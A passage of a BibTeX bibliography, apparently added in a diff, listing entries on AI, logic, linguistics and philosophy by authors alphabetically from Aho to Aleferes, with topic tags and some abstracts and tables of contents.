Applications}, + year = {1982}, + volume = {8}, + number = {3}, + pages = {205--214}, + xref = {Later version of aho-etal:1979a.}, + missinginfo = {A's 1st names.}, + topic = {communication-protocols;} + } + +@book{ aho_t:1994a, + author = {Tuomo Aho}, + title = {On the Philosophy of Attitude Logic}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + series = {Acta Philosophica {F}ennica}, + address = {Helsinki}, + topic = {epistemic-logic;agent-attitudes;propositional-attitudes;} + } + +@inproceedings{ ahrenberg-etal:1998a, + author = {Lars Ahrenberg and Mikael Andersson and Magnus Merkel}, + title = {A Simple Hybrid Aligner for Generating Lexical + Correspondences in Parallel Texts}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {29--35}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {text-alignment;} + } + +@incollection{ ahrendt-al:1998a, + author = {W. Ahrendt et al.}, + title = {Integrating Automated and Interactive Theorem Proving}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, other authors, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ ahuja-horaud:1995a, + author = {Narendra Ahuja and Radu Horaud}, + title = {Introduction to the Special Volume on Computer Vision}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {1--3}, + topic = {computer-vision;} + } + +@book{ aiello-etal:1996a, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + title = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + address = {San Francisco}, + topic = {kr;} + } + +@article{ aiello:2000a, + author = {Marco Aiello}, + title = {Review of {\em Parts and Places: The Structures of Spatial + Representation}, by {R}oberto {C}asati and {A}chille + {V}arzi}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {269--272}, + xref = {Review of: casati-varzi:1999a.}, + topic = {spatial-representation;philosophucal-ontology;mereology;} + } + +@article{ aikins:1983a, + author = {Janice S. Aikins}, + title = {Prototypical Knowledge for Expert Systems}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {2}, + pages = {163--210}, + acontentnote = {Abstract: + Knowledge of situations typically encountered in performing a + task is an important and useful source of information for + solving that task. This paper presents a system that uses a + representation of prototypical knowledge to guide computer + consultations, and to focus the application of production rules + used to represent inferential knowledge in the domain. The + explicit representation of control knowledge for each + prototypical situation is also emphasized. + } , + topic = {expert-systems;procedural-control;rule-based-reasoning; + prototypical-knowledge;} + } + +@article{ aikins:1993a, + author = {Jan S. Aikins}, + title = {Prototypical Knowledge for Expert Systems: + A Retrospective Analysis}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {205--211}, + xref = {Retrospective commentary on aikins:1983a.}, + topic = {expert-systems;procedural-control;rule-based-reasoning; + prototypical-knowledge;} + } + +@article{ aiolli-sperduti:2002a, + author = {Fabio Aiolli and Alessandro Sperduti}, + title = {A Re-Weighting Strategy for Improving Margins}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {137}, + number = {1--2}, + pages = {197--216}, + topic = {machine-learning;} + } + +@article{ aisbett-gibbon_g:1994a, + author = {Janet Aisbett and Greg Gibbon}, + title = {A Tunable Distance Measure for Coloured Solid Models}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {1}, + pages = {143--164}, + acontentnote = {Abstract: + People are willing to rank simple objects of different shape and + colour on the basis of "similarity". If machines are to reason + about structure, this comparison process must be formalized. That + is, a distance measure between formal object representations + must be defined. If the machine is reasoning with information to + be presented to a human, the distance measure needs to accord + with human notions of object similarity. Since our perception of + similarity is subjective and strongly influenced by situation, + the measure should be tunable to particular users and contexts. + This paper describes a distance measure between solid models + which incorporates heuristics of the mental mappings humans use + to compare objects. The first step is to formally represent + objects in a way that reflects human visual segmentations. We + use a modified boundary representation scheme in colour+physical + space. The next step is to define a family of maps between these + representations, motivated by considerations of how humans match + shapes. The distance between two objects is essentially the cost + of the lowest-cost map between them. The cost of a map + incorporates a geometric measure of the smooth deformation + required of edges and faces, a feature measure based on visually + significant singular points, and a topological measure based on + correspondence of visually significant vertices, edges and + faces. Tunable features of the match are: the relative cost of + ignoring parts of objects; the treatment of colour; and whether + or not the distance measure is required to be rotation + invariant. + An important application for such distance measures is to the + development of user-friendly query of CAD and image databases. + Query-by-example depends on implementation of a concept of + likeness between object models in the database which, to be + useful, must reflect the user's concepts. Another important + application for distance measures is in automatic recognition of + objects into classes whose members are not identical, so that + the concept that ``this object is like object X'' is required. In + the common situation that classes are based on human perceptions + of visual similarity, the distance measure between the class + prototype and the object to be classified should reflect those + human perceptions. + } , + topic = {visual-similarity;visual-reasoning;context;CAD;distance-metrics;} + } + +@inproceedings{ aist-mostow:1997a, + author = {Gregory Aist and Jack Mostow}, + title = {A Time to Be Silent and a Time to Speak: Time-Sensitive + Communicative Actions in a Reading Tutor that Listens}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {1--5}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;nl-generation;intelligent-tutoring;pragmatics;} + } + +@article{ ait-kaci:1986a, + author = {Hassan A\"it-Kaci}, + title = {An Algebraic Semantics Approach to the Effective + Resolution of Type Equations}, + journal = {Theoretical Computer Science}, + year = {1986}, + volume = {45}, + number = {3}, + pages = {293--351}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@book{ aitchenson:1987a, + author = {J. Aitchenson}, + title = {Words in the Mind. An Introduction to the Mental + Lexicon}, + publisher = {Blackwell Publishers}, + year = {1987}, + address = {Oxford}, + topic = {cognitive-semantics;lexical-semantics;semantic-primitives;} + } + +@incollection{ aitmokhtar-chanod:1997a, + author = {Salah A\"it-Mokhtar and Jean-Pierre Chanod}, + title = {Subject and Object Dependency Extraction Using + Finite-State Transducers}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo and Yorick Wilks}, + pages = {71--77}, + address = {New Brunswick, New Jersey}, + topic = {finite-state-nlp;part-of-speech-tagging;grammatical-relations;} + } + +@article{ akama:1988a, + author = {Seiki Akama}, + title = {On the Proof Method for Constructive Falsity}, + journal = {Zeitschrift f\"ur Mathematische Logik und + Grundlagen der Mathematik}, + year = {1988}, + volume = {34}, + pages = {385--392}, + topic = {constructive-falsity;} + } + +@article{ akama:1990a, + author = {Seiki Akama}, + title = {Subformula Semantics for Strong Negation Systems}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {2}, + pages = {217--226}, + topic = {constructive-falsity;} + } + +@article{ akama:1996a, + author = {Seiki Akama}, + title = {Curry's Paradox in Contractionless Constructive Logic}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {2}, + pages = {135--150}, + topic = {paradoxes;foundations-of-mathematics;Curry-paradox;} + } + +@book{ akama:1997a, + editor = {Seiki Akama}, + title = {Logic, Language, and Computation}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + ISBN = {079234376X}, + contentnote = {TC: + 1. Seiki Akama, "Recent Issues in Logic, Language and Computation" + 2. Max J. Cresswell, "Restricted Quantification" + 3. B.H. Slater , "The Epsilon Calculus' Problematic" + 4. Klaus Von Heusinger , "Definite Descriptions and Choice + Functions" + 5. Nicholas Asher , "Spatio-Temporal Structure in Text" + 6. Y. Nakayama , "DRT and Many-Valued Logics" + 7. Heinrich Wansing , "Displaying as Temporalizing: Sequent Systems + for Subintuitionistic Logic + 8. Luis Far~\nias del Cerro and V. Lugardon, "Quantification and + Dependence Logics" + 9. Richard Sylvan, "Relevant Conditionals, and Relevant + Application Thereof" + } , + ISBN = {0792360559}, + topic = {philosophical-logic;} + } + +@inproceedings{ akbar-caelen:1998a, + author = {Mohammed Akbar and Jean Caelen}, + title = {Parole er Traduction Automatique: Le Module de + Reconaissance {RAPHAEL}}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {36--40}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {speech-to-speech-machine-translation;} + } + +@article{ akers-etal:2001a, + author = {Robert L. Akers and Ion Bica and Elaine Kant and Curt + Randall and Robert L. Young}, + title = {Sci{F}inance: A Program Synthesis Tool for Financial + Modeling}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {27--41}, + topic = {AI-and-economics;financial-modeling;} + } + +@article{ akiba:1998a, + author = {Ken Akiba}, + title = {Nominalistic Metalogic}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {1}, + pages = {35--47}, + topic = {formalizations-of-nominalism;} + } + +@book{ akins:1986a, + editor = {Kathleen Akins}, + title = {Perception}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + contentnote = {TC: + 1. Kathleen A. Akins, "Introduction" + 2. Kirk Ludwig, "Explaining Why Things Look the Way They Do" + 3. Paul M. Churchland, "A Feedforward Network for Fast Stereo + Vision with Movable Fusion Plane" + 4. John Grimes, "On the Failure to Detect Changes in Scenes + across Saccades" + 5. Dana Ballard, "On the Function of Visual Representation" + 6. P.S. Churchland and V.S. Ramachandran, "Filling In: Why + Dennett Is Wrong" + 7. Daniel C. Dennett, "Seeing Is Believing -- Or Is It?" + 10. Kathleen A. Akins and Steven Winger, "Ships in the Night: + Churchland and Ramachandran on Dennett's Theory of + Consciousness" + 11. Brian P. McLaughlin, "Lewis on What Distinguishes + Perception from Hallucination" + 12. Frances Egan, "Intentionality and the Theory of Vision" + 13. Sarah Patterson, "Success-Orientation and Individualism in + Marr's Theory of Vision" + 14. John Haugeland, "Objective Perception" + 15. John M. Henderson, "Visual Attention and the + Attention-Action Interface" + 16. C. Randy Gallistel, "The Perception of Time" + } , + ISBN = {0-19-508462-4 (paper), 0-19-508461-6 (cloth)}, + topic = {psychology-of-perception;} + } + +@book{ akkerman-etal:1985a, + author = {Erik Akkerman and Pieter Masereeuw and Willem Meijs}, + title = {Designing a Computerized Lexicon For Linguistic Purposes}, + publisher = {Rodopi}, + year = {1985}, + address = {Amsterdam}, + ISBN = {9062037674 (pbk.)}, + miscnote = {Distributed in the U.S.A. by Humanities Press.}, + topic = {computational-lexicography;} + } + +@book{ akmajian:1974a, + author = {Adrian Akmajian}, + title = {Pronominalization, Relativization, and Thematization: + Interrelated Systems of Coreference in {E}nglish and {J}apanese}, + publisher = {Indiana University Linguistics Club}, + year = {1971}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {pronouns;anaphora;relative-clauses;Japanese-language;} + } + +@book{ akmajian-heny:1975a, + author = {Adrian Akmajian and Frank Heny}, + title = {An Introduction to the Principles of Transformational + Syntax}, + publisher = {The {MIT} Press}, + year = {1975}, + address = {Cambridge, Massachusetts}, + topic = {syntax-intro;} + } + +@book{ akmajian-etal:1979a, + author = {Adrian Akmajian and Richard Demers and Robert M. + Harnish}, + title = {Linguistics: An Introduction to Language and + Communication}, + publisher = {The {MIT} Press}, + year = {1979}, + address = {Cambridge, Massachusetts}, + topic = {linguistics-intro;} + } + +@inproceedings{ akman-tin:1990a, + author = {Varol Akman and E. T{\i}n}, + title = {What Is in a Context?}, + booktitle = {Proceedings of the 1990 Bilkent Intlernational + Conference on New Trends in Communication, Control, and + Signal Processing, Volume {II}}, + year = {1990}, + editor = {E. Ar{\i}kan}, + pages = {1670--1676}, + publisher = {Elsevier Science Publishers}, + address = {Amsterdam}, + missinginfo = {A's 1st name}, + topic = {context;} + } + +@inproceedings{ akman-tin:1990b, + author = {Varol Akman and E. T{\i}n}, + title = {Causal Theories, Contexts, and Design}, + booktitle = {Proceedings of the Fourth Eurographics Workshop on + Intelligent {CAD} Systems: Added Value of Intelligence to {CAD}}, + year = {1990}, + pages = {114--119}, + missinginfo = {A's 1st name, publisher, organization}, + topic = {causality;context;} + } + +@article{ akman:1995a, + author = {Varol Akman}, + title = {Review of {\it Formalizing Common Sense: Papers by {J}ohn + {M}c{C}arthy}, edited by {V}ladimir {L}ifschitz}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {2}, + pages = {359--369}, + xref = {Review of: lifschitz:1990d.}, + topic = {J-McCarthy;common-sense;kr;} + } + +@article{ akman:1995b, + author = {Varol Akman}, + title = {Review of {\it From Discourse to Logic: Introduction to + Modeltheoretic Semantics in Natural Language, Formal Logic + and Discourse Representation Theory, Vols. 1 and 2}, by + {H}ans {K}amp and {U}we {R}eyle}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {2}, + pages = {265--268}, + xref = {Review of kamp-reyle:1993ai, kamp-reyle:1993aii.}, + topic = {nl-semantics;discourse-representation-theory;pragmatics;} + } + +@inproceedings{ akman-surav:1995a, + author = {Varol Akman and Mehmet Surav}, + title = {Contexts, Oracles, and Relevance}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Formalizing Context}, + year = {1995}, + pages = {23--30}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + editor = {Sasa Buva\v{c}}, + address = {Menlo Park, California}, + topic = {context;contextual-reasoning;} + } + +@article{ akman-surav:1996a, + author = {Varol Akman and Mehmet Surav}, + title = {Steps Toward Formalizing Context}, + journal = {{AI} Magazine}, + year = {1996}, + volume = {17}, + number = {3}, + pages = {55--72}, + topic = {context;} + } + +@inproceedings{ akman:1997a, + author = {Varol Akman}, + title = {Context as a Social Construct}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {1--6}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;contextual-reasoning;} + } + +@article{ akman-surav:1997a, + author = {Varol Akman and Mehmet Surav}, + title = {The Use of Situation Theory in Context Modeling}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {3}, + pages = {427--438}, + topic = {context;situation-theory;} + } + +@article{ akman:1999a, + author = {Varol Akman}, + title = {Review of {\it Survey of the State of the Art in + Human Language Technology}, edited by {G}iovanni {B}attista + {V}arile and {A}ntonio {Z}ampolli}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {1}, + pages = {161--164}, + xref = {Review of varile-zampolli:1997a.}, + topic = {nlp-technology;} + } + +@incollection{ akman-alpaslan:1999a, + author = {Varol Akman and Ferda Nur Alpaslan}, + title = {Strawson on Intended Meaning and Context}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {1--14}, + address = {Berlin}, + topic = {context;speaker-meaning;} + } + +@article{ akman-blackburn_p:2000a, + author = {Varol Akman and Patrick Blackburn}, + title = {Editorial: {A}lan {T}uring and Artificial Intelligence}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {91--395}, + topic = {Turing;foundations-of-AI;history-of-AI;} + } + +@book{ akman-etal:2001a, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + title = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + address = {Berlin}, + contentnote = {TC: + 1. Horacio Arlo-Costa, "Trade-Offs between Inductive Power + and Logical Omniscience in Modeling Context", pp. 1--14 + 2. John A. Barnden, "Uncertainty and Conflict Handling in the + {ATT}-Meta Context-Based System for Metaphorical + Reasoning", pp. 15--29 + 3. Travis Bauer and David B. Leake, "{W}ord{S}eive: A Method for + Real-Time Context Extraction", pp. 30--44 + 4. John Bell, "Pragmatic Reasoning: Pragmatic Semantics and + Semantic Pragmatics", pp. 45--58 + 5. Massimo Beneceretti and Paolo Bouquet and Chiara Ghidini, "On + the Dimensions of Context Dependence: Partiality, + Approximation, and Perspective", pp. 59--72 + 6. Claudia Bianchi, "Context of Utterance and Intended + Context", pp. 73--66 + 7. Paolo Bouquet and Luciano Serafini, "Two Formalizations of + Context: A Comparison", pp. 87--101 + 8. Jocelyn Cohan, "Consider the Alternatives: Focus in Contrast + and Context", pp. 102--115 + 9. John H. Connolly, "Context in the Study of Human Languages + and Computer Programming Languages: A + Comparison", pp. 116--128 + 10. Mehdi Dastani and Bipin Indurkhya, "Modeling Context Effect + in Perceptual Domains", pp. 129--142 + 11. Bruce Edmonds, "Learning Appropriate Contexts", pp. 143--155 + 12. Hamid R. Ekbia and Ana G. Maguitman, "Context and Relevance: + A Pragmatic Approach", pp. 156--169 + 13. Roberta Ferrario, "Counterfactual Reasoning", pp. 170--183 + 14. Martin Romacker and Udo Hahn, "Context-Based Ambiguity + Management for Natural Language Processing", pp. 184--197 + 15. Amy E. Henninger and Avelino J.Gonzalez and Michael + Georgiopoulos and Michael De{M}aro, "A + Connectionist-Symbolic Approach to Modeling Agent + Behavior: Neural Networks Grouped by Contexts", pp. 198--209 + 16. Martin Juettner and Ingo Rentschler, "Context Dependency of + Pattern-Category Learning", pp. 210--220 + 17. Boicho Kokinov and Maurice Grinberg, "Simulating Context + Effects in Problem Solving with {AMBR}", pp. 221--234 + 18. David Langlois and Kamel Smaili and Jean-Paul Haton, "A New + Method Based on Context for Combining Statistical + Language Models", pp. 235--247 + 19. Tomoko Matsui, "Experimental Pragmatics: Towards Testing + Relevance-Based Predictions about Anaphoric Bridging + Inferences", pp. 248--260 + 20. Heiko Maus, "Workflow Context as a Means for Intelligent + Information Support", pp. 261--274 + 21. Renate Motschnig-Pitrik and Ladislav Nykl, "The Role and + Modeling of Context in a Cognitive Model of {R}oger's + Person-Centred Approach", pp. 275--289 + 22. Carlo Penco, "Local Holism", pp. 290--303 + 23. Isodora Stojanovic, "Whom is the Problem of the Essential + Indexical a Problem for?", pp. 304--315 + 24. Charles Tijus, "Contextual Categorization and Cognitive + Phenomena", pp. 316--329 + 25. Elise H. Turner and Roy M. Turner, "Representing the Graphics + Context to Support Understanding Plural Anaphora in + Multi-Modal Interfaces", pp. 330--342 + 26. Roy M. Turner and Elise H. Turner and Thomas A. Wagner and + Thomas J. Wheeler and Nancy E. Ogle, "Using + Explicit, A Priori Contextual Knowledge in + an Intelligent Web Search Agent", pp. 343--352 + 27. Nicla Vassallo, "Contexts and Philosophical Problems of + Knowledge", pp. 353--366 + 28. Holger Wache, "Practical Context Transformation for + Information System Interoperability", pp. 367--380 + 29. Roger A. Young, "Explanation as Contextual", pp. 381--394 + 30. Elisabetta Zibetti and Vicen\c{c} Quera and Francesc + Salvador Beltran and Charles Tijus, "Contextual + Categorization: A Mechanism Linking Perception + and Knowledge in Modeling and Simulating Perceived + Events as Actions", pp. 395--408 + 31. William A. Adams, "The Motivational Context", pp. 409--412 + 32. Guido Boella and Leonardo Lesmo, "An Approach to Anaphora + Based on Mental Models", pp. 413--416 + 33. Cristina Bosco and Carla Bazzanella, "Context and Multi-Media + Corpora, pp. 417--420 + 34. Luc Bovens and Stephan Hartmann, "Belief Expansion, + Contextual Fit and the Reliability of Information + Sources", pp. 421--424 + 35. Aline Chevalier and Laure Martinex, "The Role of Context + in the Acquisition and in the Organization of + Knowledge: Studies from Adults and from + Children", pp. 425--428 + 36. Piotr Ciskowski, "{VC}-Dimension of a Context-Dependent + Perception", pp. 429--432 + 37. Christo Dichev, "A Framework for a Context-Driven Web + Resource Directory", pp. 433--436 + 38. Patrick Etcheverry and Phillipe Lopist\'eguy and Pantxika + Dagorret, "Specifying Contexts for Coordination + Patterns", pp. 437--440 + 39. Anne-Laure Fayard and Austin Henderson, "Looking at `Situated' + Technology: Differences in Pattern of Interaction Reflect + Differences in Context", pp. 441-444 + 40. J.T. Fern\'andez-Breis and Rafael Valencia-Garcia and Rodrigo + Martinez-B\'ejar and Pascual Cantos-G\`omez, "A + Context-Driven Approach for Knowledge Acquisition: + Application to a Leukemia Domain", pp. 445--448 + 41. Anita Fetzer, "Context in Natural-Language Communication: + Presupposed or Co-Supposed?", pp. 449--452 + 42. Avelino J. Gonzalez and Shinya Sacki, "Using Contexts + Competition to Model Tactical Human Behavior + in a Simulation", pp. 453--456 + 43. Roland Klemke and Achim Nick, "Case Studies in Developing + Contextualizing Information Systems", pp. 457--460 + 44. Jean-Charles Pomerol and Patrick Brezillon, "About Some + Relationships between Knowledge and Context", pp. 461--464 + 45. Debbie Richards, "Combining Cases and Rules to Provide + Contextualized Knowledge Based Systems", pp. 465--469 + } , + ISBN = {3-540-42379-6}, + topic = {context;} + } + +@book{ alagar-periyasamy:1998a, + author = {V.S. Alagar and K. Periyasamy}, + title = {Specification of Software Systems}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {0387984305 (hardcover: alk. paper)}, + topic = {software-engineering;} + } + +@inproceedings{ alasady-narayanan:1993a, + author = {R. Al-Asady and A. Narayanan}, + title = {More Notes on `A Clash of Intuitions'}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {682--687}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {inheritance-theory;} + } + +@book{ alasady:1995a, + author = {R. Al-Asady}, + title = {Inheritance Theory: An Artificial Intelligence Approach}, + publisher = {Ablex Publishing Corp.}, + year = {1995}, + address = {Norwood, New Jersey}, + ISBN = {1-56750-155-9}, + contentnote = {TC: + 1. Introduction + 2. Inheritance Hierarchies + 3. Current Approach to Nonmonotonic Reasoning + 4. The Problem: A Clash of Intuitions + 5. ETR: An Exception-Based Approach to Nonmonotonic Reasoning + 6. Default Correlation: An Approach to Inheritance with Conflict + 7. Application: Causal Reasoning and ETR + 10. Application: Analogical Reasoning and ETR + 11. Conclusion + } , + topic = {inheritance-theory;} + } + +@article{ alberdi-sleeman:1997a, + author = {Eugenio Alberdi and Derek H. Sleeman}, + title = {Re{TAX}: A Step in the Automation of Taxonomic Revision}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {2}, + pages = {257--279}, + topic = {automated-scientific-discovery;taxonomic-reasoning;} + } + +@book{ albeverio-etal:1986a, + author = {Sergio Albeverio and Jens Erik Fenstad and Raphael + H{\o}egh-Krohn and Tom Lingstr{\o}m}, + title = {Nonstandard Methods in Stochastic Analysis and + Mathematical Physics}, + publisher = {Academic Press}, + year = {1986}, + address = {New York}, + topic = {nonstandard-analysis;} + } + +@article{ albrecht-etal:1998a, + author = {David Albrecht and Frank A B\"auerle and + John N. Crossley}, + title = {Currey-{H}oward terms for Linear Logic}, + journal = {Studia Logica}, + year = {1998}, + volume = {61}, + number = {2}, + pages = {223--235}, + topic = {proof-theory;linear-llgic;} + } + +@article{ albritton:1957a, + author = {Rogers Albritton}, + title = {Present Truth and Future Contingency}, + journal = {Philosophical Review}, + year = {1957}, + volume = {1957}, + number = {66}, + pages = {29--46}, + topic = {future-contingent-propositions;} + } + +@article{ albritton:1964a, + author = {Rogers Albritton}, + title = {Comments}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {21}, + pages = {691--694}, + xref = {Commentary on: putnam:1964a1.}, + topic = {foundations-of-AI;philosophy-of-mind;philosophy-AI;} + } + +@inproceedings{ albritton-moore_jd:1999a, + author = {David Albritton and Johanna D. Moore}, + title = {Discourse Cues in Narrative Text: Using Production + to Predict Conversation}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {1--8}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;discourse-cue-words;} + } + +@book{ albus:1981a, + author = {James S. Albus}, + title = {Brains, Behavior and Robotics}, + publisher = {Byte Books}, + address = {Peterborough, New Hampshire}, + year = {1985}, + topic = {AI-survey;} + } + +@article{ alchourron:1972a, + author = {Carlos E. Alchourr\'on}, + title = {The Intuitive Background of Normal Legal Discourse + and its Formalization}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {3--4}, + missinginfo = {pages = {447--}}, + topic = {legal-reasoning;deontic-logic;} + } + +@incollection{ alchourron-bulygin:1981a, + author = {Carlos E. Alchourr\'on and Eugenio Bulygin}, + title = {The Expressive Conception of Norms}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {95--125}, + address = {Dordrecht}, + topic = {normative-systems;permission;deontic-logic;} + } + +@incollection{ alchourron-makinson:1981a, + author = {Carlos E. Alchourr\'on and David C. Makinson}, + title = {Hierarchies of Regulations and Their Logic}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {125--148}, + address = {Dordrecht}, + topic = {deontic-logic;normative-systems;rules-and-regulations;} + } + +@article{ alchourron-makinson:1982a, + author = {Carlos E. Alchourr\'on and David C. Makinson}, + title = {The Logic of Theory Change: Contraction Functions and Their + Associated Revision Functions}, + journal = {Theoria}, + year = {1982}, + volume = {48}, + pages = {14--37}, + topic = {belief-revision;} + } + +@article{ alchourron-etal:1985a, + author = {Carlos E. Alchourr\'on and Peter G\"ardenfors and David + C. Makinson}, + title = {On the Logic of Theory Change: Partial Meet Contraction Functions + and Their Associated Revision Functions}, + journal = {Journal of Symbolic Logic}, + year = {1985}, + volume = {50}, + pages = {510--530}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@article{ alchourron-makinson:1985a, + author = {Carlos E. Alchourr\'on and David C. Makinson}, + title = {On the Logic of Theory Change: Safe Contraction}, + journal = {Studia Logica}, + year = {1985}, + volume = {44}, + pages = {405--422}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@inproceedings{ alchourron:1991a, + author = {Carlos E. Alchourr\'on}, + title = {Philosophical Foundations of Deontic Logic and the + Logic of Defeasible Conditionals}, + booktitle = {Workshop on Deontic Logic in Computer Science}, + year = {1991}, + address = {Amsterdam}, + missinginfo = {editor, publisher, pages}, + topic = {deontic-logic;} + } + +@incollection{ alchourron:1994a, + author = {Carlos E. Alchourr\'on}, + title = {Philosophical Foundations of Deontic Logic and the Logic of + Defeasible Conditionals}, + booktitle = {Deontic Logic in Computer Science: Normative System + Specification}, + publisher = {John Wiley and Sons}, + year = {1994}, + editor = {J.J. Meyer and R.J. Wieringa}, + pages = {43--84}, + address = {New York}, + topic = {deontic-logic;nonmonotonic-logic;conditionals; + nonmonotonic-conditionals;} + } + +@incollection{ alchourron:1995a, + author = {Carlos E. Alchourr\'on}, + title = {Defeasible Logics: Demarcation and Affinities}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {67--102}, + address = {Oxford}, + topic = {conditionals;nonmonotonic-logic;} + } + +@article{ alchourron:1996a, + author = {Carlos Alchourr\'on}, + title = {Detachment and Defeasibility in Deontic Logic}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {5--18}, + topic = {deontic-logic;prima-facie-obligation;} + } + +@article{ alderete-etal:1999a, + author = {John Alderete and Jill Beckman and Laura Benula + and Amalia Gnanadesikan and John McCarthy and + Suzanne Urbanczyk}, + title = {Reduplication with Fixed Segmentation}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {3}, + pages = {327--364}, + topic = {reduplication;morphology;phonology; + optimality-theory;} + } + +@article{ aldrich:1970a, + author = {Virgil C. Aldrich}, + title = {Review of {\it Seeing and Knowing}, by {F}red {I}. + {D}retske}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {23}, + pages = {995--1006}, + xref = {Review of dretske:1969a.}, + topic = {logic-of-perception;epistemology;epistemic-logic;} + } + +@article{ alechina:1992a, + author = {Natasha Alechina}, + title = {On a Decidable Generalized Quantifier Logic Corresponding + to a Decidable Fragment of First-Order Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {4}, + number = {3}, + pages = {177--189}, + topic = {generalized-quantifiers;} + } + +@article{ alechina:1997a, + author = {Natasha Alechina}, + title = {Review of {\it Quantifiers: Logic, Models, and + Computation}, edited by {M}. {K}rynicki, {M}. {M}ostowski, and + {L}.{W}. {S}zczerba}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {342--344}, + topic = {generalized-quantifiers;} + } + +@article{ aleferes-etal:2002a, + author = {Jos\'e J\'ulio Aleferes and J.A. Leite and Lu\'is Moniz + Pereira and Halina Przymusinska and Teodor C. Przymucinski}, + title = {{LUPS}---A Language for Updating Logic Programs}, + journal = {Artificial Intelligence}, + 